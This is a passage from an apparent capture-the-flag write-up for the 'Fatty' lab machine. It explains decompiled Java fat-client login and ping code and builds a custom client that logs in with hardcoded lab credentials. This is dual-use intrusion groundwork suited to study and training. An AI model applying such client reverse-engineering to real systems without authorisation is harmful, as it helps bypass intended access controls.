class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> !roleName.<\/span><span class=\"enlighter-m3\">contentEquals<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"anonymous\"<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> whoami.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> configs.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> notes.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> mail.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ping.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> invoker = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> controlPanel.<\/span><span class=\"enlighter-m3\">setVisible<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">LoginPanel, <\/span><span class=\"enlighter-s0\">\"Login Failed!\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Login\"<\/span><span class=\"enlighter-text\">, JOptionPane.<\/span><span class=\"enlighter-m3\">INFORMATION_MESSAGE<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">close<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>In this code snipped we see that an<span>\u00a0<\/span><code>ActionListener<\/code><span>\u00a0<\/span>function is defined on the login button, which executes the following steps:<\/p>\n<ol>\n<li>It takes the username and password from the login form and creates a<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object with this information.<\/li>\n<li>It tries to establish a connection using the<span>\u00a0<\/span><code>getConnection()<\/code><span>\u00a0<\/span>function from the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class.<\/li>\n<li>If a connection can be established, the previously generated<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object is used to perform a login attempt.<\/li>\n<li>If the login is successful, the client obtains the<span>\u00a0<\/span><em>rolename<\/em><span>\u00a0<\/span>for the current user from the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>object. Depending on the<span>\u00a0<\/span><em>rolename<\/em>, the client enables certain parts of the user-interface.<\/li>\n<li>Finally, the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>and the<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object are used to generate an<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>object.<\/li>\n<\/ol>\n<p>This is actually all information we need to implement the login function within our own client. However, only implementing the login is kind of boring and we can already take a look how the different functions of the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>are implemented. The probably easiest function is<span>\u00a0<\/span><code>Ping<\/code><span>\u00a0<\/span>and just searching for this term gives us the corresponding implementation:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">ping.<\/span><span class=\"enlighter-m3\">addActionListener<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionListener<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">actionPerformed<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ActionEvent e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = invoker.<\/span><span class=\"enlighter-m3\">ping<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException | MessageParseException e1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Failure during message building\/parsing.\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">ERROR_MESSAGE<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e2 <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Unable to contact the server. If this problem remains, please close and reopen the client.\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">ERROR_MESSAGE<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> textPane.<\/span><span class=\"enlighter-m3\">setText<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">response<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The biggest part of this code is error handling stuff and the actual invocation of the ping function is just a single line:<span>\u00a0<\/span><code>invoker.ping()<\/code>. So it seems that the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>object is all we need to call the different functions that are exposed by the graphical user interface of the client. With this knowledge we should be able to write the first version of our own client, that performs a login and calls the<span>\u00a0<\/span><em>ping<span>\u00a0<\/span><\/em>method.<\/p>\n<h3 id=\"ready-for-takeof\">3.7 \u2013 Ready for Take of<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>With the information we have collected so far, we can write the following simple skeleton for our own client:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> java.io.IOException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.connection.Connection<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.methods.Invoker<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageBuildException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageParseException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.resources.User<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> ConnectionTest <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">main<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> args <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Connection conn = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> Exception e <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Connection attempt failed: \"<\/span><span class=\"enlighter-text\"> + e.<\/span><span class=\"enlighter-m3\">getMessage<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"qtc\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"clarabibi\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Login succesful!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Login failed!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Current role: \"<\/span><span class=\"enlighter-text\"> + roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Invoker invo = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> serverResponse = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> serverResponse = invo.<\/span><span class=\"enlighter-m3\">ping<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageParseException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message parsing.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message building.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message sending.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Server response is: \"<\/span><span class=\"enlighter-text\"> + serverResponse<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Again, most stuff of this code performs error handling and the actual productive code can be reduced to a few lines:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"qtc\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"clarabibi\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Invoker invo = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">serverResponse = invo.<\/span><span class=\"enlighter-m3\">ping<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Notice that the<span>\u00a0<\/span><em>roleName<\/em><span>\u00a0<\/span>related stuff seems unnecessary, but since the server sends the<span>\u00a0<\/span><em>roleName<span>\u00a0<\/span><\/em>by default during the client-server communication, we would break the communication flow if we just ignore this message. Therefore, we need to make this call, even it does not provide any useful information for us.<\/p>\n<p>If you imported<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>correctly and launch the above 